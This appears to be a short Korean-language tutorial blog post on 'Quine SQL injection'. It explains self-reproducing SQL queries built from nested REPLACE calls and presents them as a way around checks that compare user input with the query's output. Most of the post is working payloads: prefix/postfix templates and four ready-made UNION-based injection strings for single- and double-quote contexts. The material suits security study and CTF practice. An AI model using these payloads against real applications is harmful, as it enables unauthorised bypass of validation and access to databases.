Quine SQL Injection

   

Quine SQL 이란

1
2
s = 's = %r\nprint(s%%s)'
print(s%s)

Quine 은 소스코드를 그대로 출력으로 반환하는 프로그램을 의미하는데
위의 파이썬 소스코드를 참고하면 어떤 의미인지 쉽게 이해할 수 있을 것이다.
이는 대부분의 언어로 작성되어 위키백과에 등재되어 있다.

Quine SQL Query

1
SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine;

마찬가지로 SQL 언어를 사용해 작성한 Quine 쿼리도 존재하는데, 위가 그 예이다.

img

1
select replace(replace('select replace(replace("$",char(34),char(39)),char(36),"$")',char(34),char(39)),char(36),'select replace(replace("$",char(34),char(39)),char(36),"$")');

여기서 필요없는 부분을 잘라내면 위와 같다.

이런 특성을 이용하여 SQL 인젝션에 응용할 수 있는데
사용자 입력과 쿼리 결과값이 같은지 확인하는 검증로직이 존재할 경우에
이를 사용하면 우회가 가능할 것이다.

Summary

1
2
3
4
5
# 싱글쿼트가 필요한 경우
select replace(replace('[prefix] select replace(replace("$",char(34),char(39)),char(36),"$") [postfix]',char(34),char(39)),char(36),'[prefix] select replace(replace("$",char(34),char(39)),char(36),"$") [postfix]') [postfix];

# 더블쿼트가 필요한 경우
select replace(replace("[prefix] select replace(replace('$',char(39),char(34)),char(36),'$') [postfix]",char(39),char(34)),char(36),"[prefix] select replace(replace('$',char(39),char(34)),char(36),'$') [postfix]") [postfix];

위 식에서 필요에 따라 [prefix]와 [postfix] 부분에 자유롭게 부가문장을 삽입할 수 있다.
다만 replace 함수에 의해 더블쿼트가 싱글쿼트로 변환된다는 것에 주의하자.
만약 더블쿼트 인젝션이 필요하다면 반전된 식을 사용하면 될 것이다.

Examples

1
2
3
4
5
6
7
8
9
10
11
prefix : a' union / postfix : -- -
a' union select replace(replace('a" union select replace(replace("$",char(34),char(39)),char(36),"$") as quine-- -',char(34),char(39)),char(36),'a" union select replace(replace("$",char(34),char(39)),char(36),"$") as quine-- -') as quine;

prefix : 0 union / postfix : #
0 union select replace(replace('0 union select replace(replace("$",char(34),char(39)),char(36),"$") as quine#',char(34),char(39)),char(36),'0 union select replace(replace("$",char(34),char(39)),char(36),"$") as quine#') as quine#;

prefix : a" union / postfix : #
a" union select replace(replace("a' union select replace(replace('$',char(39),char(34)),char(36),'$') #",char(39),char(34)),char(36),"a' union select replace(replace('$',char(39),char(34)),char(36),'$') #") #

prefix : a" union / postfix : -- -
a" union select replace(replace("a' union select replace(replace('$',char(39),char(34)),char(36),'$') -- -",char(39),char(34)),char(36),"a' union select replace(replace('$',char(39),char(34)),char(36),'$') -- -") -- -

Reference